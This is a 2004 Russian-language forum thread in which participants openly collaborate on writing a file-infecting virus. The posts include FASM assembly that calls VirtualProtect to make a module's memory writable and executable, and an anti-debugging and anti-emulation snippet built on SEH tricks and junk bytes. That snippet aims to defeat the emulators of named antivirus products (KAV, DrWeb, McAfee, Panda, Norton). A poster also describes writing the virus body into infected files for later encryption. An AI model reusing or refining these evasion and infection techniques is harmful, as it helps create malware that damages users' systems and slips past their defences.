|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Ноя 12, 2004 02:47:56 чё делать то блин |
|
|
Дата: Ноя 12, 2004 02:50:41 а как вам идея ставить после заражения файла арибуты страниц памяти там где надо NO ACESS |
|
|
Дата: Ноя 12, 2004 03:06:56 · Поправил: B_108 Держи,
start:
call _there
delta=$
virtual_protect dd 0x77e6169e
mh_offset=$-delta
module_handle dd 0x77e7ad86
_there:
pop ebp
push 0
call dword [ebp+mh_offset]
mov ebx, [eax+3ch] ;PE
add ebx, eax
mov ecx, [ebx+50h] ;Image size
lea edx, [esp-4] ;вот что я имел ввиду!
push edx
push PAGE_EXECUTE_READWRITE
push ecx
push eax
call dword [ebp]
адреса апишек само-собой мои :) |
|
|
Дата: Ноя 12, 2004 03:07:43 ЗЫ я использую фасм |
|
|
Дата: Ноя 12, 2004 03:12:54 а как вам идея ставить после заражения файла арибуты страниц памяти там где надо NO ACESS там где надо, это где? и зачем? :) если для того чтобы защититься от самопроверяющих программ, то они скорее себя с диска считают... |
|
|
Дата: Ноя 12, 2004 04:25:56 Start: Call seh_ mov esp, [esp+8] SALC SALC jmp seh_rs seh_: sub edx, edx push dword ptr fs:[edx] mov fs:[edx], esp inc byte ptr [edx];дальше этого отладчик не идёт SALC gtDelta:call mgdlta mgdelta:db 0b8h ;disassembler это не берёт mgdlta: pop ebp ret jmp Detect_Av ;<-------переход сюда в ;случае если нас эмулируют ;В это процедуре я делаю деление на ;ноль и запись чтение из портов, KAV DRweb MacAfee Panda и ;Norton antivirus пока оборудование эмулировать не ;научились и сдесь эмулятор запаривается seh_rs: xor edi, edi pop dword ptr fs:[edi] pop edi ;сбда попадаешь в случае если запуск прошёл нормально без ;эмуляторов и отладчиков уровня прилажения А теперь вопрос:!!!! куда посоветуешь вставить этот кусочек да так чтоб всю тему с AV не испортить.Да и ещё у меня вирь в виде сплошником идущих данных в файл записывается . Это сделано для облегчения его шифровки в дальнейшем. Если я чё где не так сказал просьба не смиятся я ещё только недавно внизы пошёл до этого обьектно ориентированым прогрммированием знимался. |
|
|
Дата: Ноя 12, 2004 12:31:04 А где ты указал смещение своего SEh обработчика? См. статьи Billy Belcebu |
|
|
Дата: Ноя 12, 2004 13:32:56 Call seh_ Просмотрел :) mgdelta:db 0b8h ;disassembler это не берёт ага, блин, если ида с самого начала не просечет, то после нажатия пары кнопочек все будет дизасемблится нормально. Имхо, только место занимает |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.055 |